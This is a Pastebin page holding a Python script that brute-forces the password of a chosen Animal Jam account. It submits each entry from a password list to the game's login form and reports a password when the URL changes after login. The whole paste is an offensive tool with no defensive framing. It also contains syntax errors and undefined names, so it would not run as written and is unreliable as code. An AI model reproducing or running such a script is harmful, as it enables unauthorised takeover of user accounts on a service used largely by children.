Advertisement
Guest User

coopyandpastee

a guest
Feb 17th, 2018
208
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.76 KB | None | 0 0
  1. #!usr/bin/python
  2.  
  3. import sys
  4. import random
  5. import mechanize
  6. import cookielib
  7.  
  8. username = str(raw_input("# Enter |Username| Animal Jam : "))
  9. passwordlist = str(raw_input("Enter the name of the password list file : "))
  10.  
  11. useragents = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]
  12.  
  13. login = 'http://www.animaljam.com/'
  14. def attack(password):
  15.  
  16. try:
  17. sys.stdout.write("\r[*] trying %s.. " password)
  18. sys.stdout.flush()
  19. br.addheaders = [('User-agent', random.choice(useragents))]
  20. site = br.open(login)
  21. br.select_form(nr=0)
  22.  
  23. ##Animal Jam
  24. br.form['username'] = username
  25. br.form['password'] = password
  26. br.submit()
  27. log = br.geturl()
  28. if log != login:
  29. print ("\n\n\n [*] Password Found .. !!")
  30. print("\n [*] Password : %s\n" % (password))
  31. sys.exit(1)
  32. except KeyboardInterrupt:
  33. print ("\n [*] Exiting program .. ")
  34. sys.exit(1)
  35.  
  36. def search():
  37. global password
  38. for password in passwords:
  39. attack(password.replace("\n",""))
  40.  
  41. def check():
  42.  
  43. global br
  44. global passwords
  45. try:
  46. br = mechanize.Browser()
  47. cj = cookielib.LWPCookieJar()
  48. br.set_handle_robots(False)
  49. br.set_handle_equiv(True)
  50. br.set_handle_referer(True)
  51. br.set_handle_redirect(True)
  52. br.set_cookiejar(cj)
  53. br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
  54. except KeyboardInterrupt:
  55. print ("\n[*] Exiting program ..\n)
  56. sys.exit(1)
  57. try:
  58. list = open(passwordlist, "r")
  59. passwords = list.readlines()
  60. k = 0
  61. while k < len(passwords):
  62. passwords[k] = passwords[k].strip()
  63. k += 1
  64. except IOError:
  65. print ("\n [*] Error: check your password list path \n")
  66. sys.exit(1)
  67. except KeyboardInterrupt:
  68. print ("\n [*] Exiting program ..\n")
  69. sys.exit(1)
  70. try:
  71. print GHT
  72. print (" [*] Account to crack : %s" % (username))
  73. print (" [*] Loaded :" , len(passwords), "passwords")
  74. print ( " [*] Cracking, please wait ...")
  75. except KeyboardInterrupt:
  76. print ("\n [*] Exiting program ..\n")
  77. sys.exit(1)
  78. try:
  79. search()
  80. attack(password)
  81. except KeyboardInterrupt:
  82. print ("\n [*] Exiting program ..\n")
  83. sys.exit(1)
  84.  
  85. if _name_== '__main__':
  86. check()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement